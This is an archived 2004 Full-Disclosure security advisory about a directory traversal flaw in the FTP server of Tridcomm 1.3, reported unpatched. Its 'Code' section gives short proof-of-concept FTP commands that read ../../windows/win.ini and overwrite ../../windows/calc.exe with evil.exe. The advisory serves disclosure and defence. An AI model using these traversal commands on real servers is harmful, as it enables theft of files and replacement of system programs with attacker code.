OSEC

Neohapsis is currently accepting applications for employment. For more information, please visit our website www.neohapsis.com or email hr@neohapsis.com
 
[Full-Disclosure] Directory traversal in Tridcomm 1.3

From: Luigi Auriemma (aluigiautistici.org)
Date: Wed Oct 06 2004 - 16:19:18 CDT


#######################################################################

                             Luigi Auriemma

Application: Tridcomm
              http://www.tridcomm.com
Versions: <= 1.3
Platforms: Windows
Bug: directory traversal (both download and upload)
Exploitation: remote, versus the built-in FTP server
Date: 06 October 2004
Author: Luigi Auriemma
              e-mail: aluigialtervista.org
              web: http://aluigi.altervista.org

#######################################################################

1) Introduction
2) Bug
3) The Code
4) Fix

#######################################################################

===============
1) Introduction
===============

Tridcomm is an open-source 3D file manager for Windows with a built-in
FTP server disabled by default.

#######################################################################

======
2) Bug
======

The built-in FTP server in Tridcomm is vulnerable to a directory
traversal bug.
Practically an attacker can watch into any directory and upload and
download any file in the disk on which Tridcomm is installed.

#######################################################################

===========
3) The Code
===========

dir ../../
dir /

get
  ../../windows/win.ini
  win.ini

put
  evil.exe
  ../../windows/calc.exe

(the same examples can be used with the backslash too)

#######################################################################

======
4) Fix
======

No fix.
No reply from the author.

#######################################################################

---
Luigi Auriemma
http://aluigi.altervista.org

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html